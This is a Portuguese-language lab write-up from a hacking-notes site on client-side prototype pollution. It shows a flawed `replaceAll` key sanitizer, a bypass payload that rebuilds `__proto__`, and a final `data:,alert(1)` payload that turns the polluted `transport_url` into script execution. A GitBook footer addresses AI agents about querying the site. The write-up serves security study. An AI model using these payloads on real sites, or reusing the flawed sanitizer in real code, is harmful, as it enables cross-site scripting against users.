> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Poluição de prototype no lado do cliente via sanitização falha

### Polluição de protótipo no lado do cliente via sanitização falha

#### (1) Contexto e ideia geral

A aplicação lê as configurações da URL e depois as transforma em um objeto JavaScript por meio de `deparam(...)`:

* Ela constrói `config = { params: deparam(...) }`
* Em seguida, ela usa `config.transport_url` para carregar um `<script src="...">`

Para evitar a poluição de protótipo, os desenvolvedores adicionaram `sanitizeKey()` que remove as seguintes substrings nas chaves\:/ `constructor`, `__proto__`, `prototype`.

Problema: essa sanitização é apenas um **replaceAll**. Se **cortar** a palavra proibida em pedaços, após a substituição ela pode **reconstruir**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Falha ao armazenar a consulta");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Origem: contornar o filtro e poluir `Object.prototype`

O filtro remove `__proto__` Se ele estiver presente exatamente como está. / Ele é reconstruído colocando `__proto__` **no meio** de uma chave maior, de modo que, após a exclusão, a chave final se torne exatamente `__proto__`.

Payload:

```javascript
?__pro__proto__to__[foo]=bar
```

Após a sanitização:

* `__pro__proto__to__` → (exclusão de `__proto__`) → `__proto__`

Então é como:

* `?__proto__[foo]=bar` -> poluição global de protótipo

Verifique no console:

```javascript
console.log({}.foo)
```

<figure><img src="/files/3ae12dc97b836b5fc1294b137aed13a76877bdda" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Exploit final: acionar `alert()`

`transport_url` está poluído com uma `data:` esquema que executa JS quando o script é carregado:

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="/files/3d55d73e8990bb80f38dd2576708efa3f872648c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
